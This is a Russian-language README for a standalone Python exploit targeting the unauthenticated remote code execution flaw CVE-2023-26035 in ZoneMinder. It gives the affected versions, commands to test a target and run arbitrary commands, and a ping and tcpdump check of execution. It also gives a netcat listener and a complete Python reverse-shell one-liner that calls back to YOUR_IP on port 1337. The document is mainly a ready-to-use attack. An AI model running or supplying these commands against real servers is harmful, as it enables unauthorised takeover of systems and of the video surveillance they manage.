Эксплойт - ZoneMinder CVE-2023-26035

Существует Неаутентифицированное удаленное выполнение кода (RCE), затрагивающее снимки ZoneMinder.
Это эксплойт для CVE-2023-26035.

Затронутые версии

ZoneMinder < 1.36.33 и
ZoneMinder < 1.37.33.

Использование

Проверка, уязвима ли цель:

python3 zoneminder.py http://target

Выполнение команды

python3 zoneminder.py http://target command

Примеры

Проверка выполнения команды с помощью ping

Запустите tcpdump на интерфейсе, подключенном к цели (здесь tun0), и отфильтруйте ICMP пакеты:

sudo tcpdump -i tun0 icmp

Затем выполните пинг на ваш IP. Обязательно используйте кавычки ", иначе команда не будет интерпретирована правильно.

python3 zoneminder.py http://target "ping -C 4 your_ip"

Обратная оболочка

Создайте слушатель с помощью netcat:

nc -lvnp 1337

Используйте однострочник обратной оболочки:

python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"

Больше на https://revshells.com.

Требования

Эксплойт использует requests и BeautifulSoup. Установите их с помощью:

python3 -m pip install requests beautifulsoup4

Благодарности

Я просто хотел получить автономный эксплойт, не требующий Metasploit.
Скрипт основан на https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb

https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr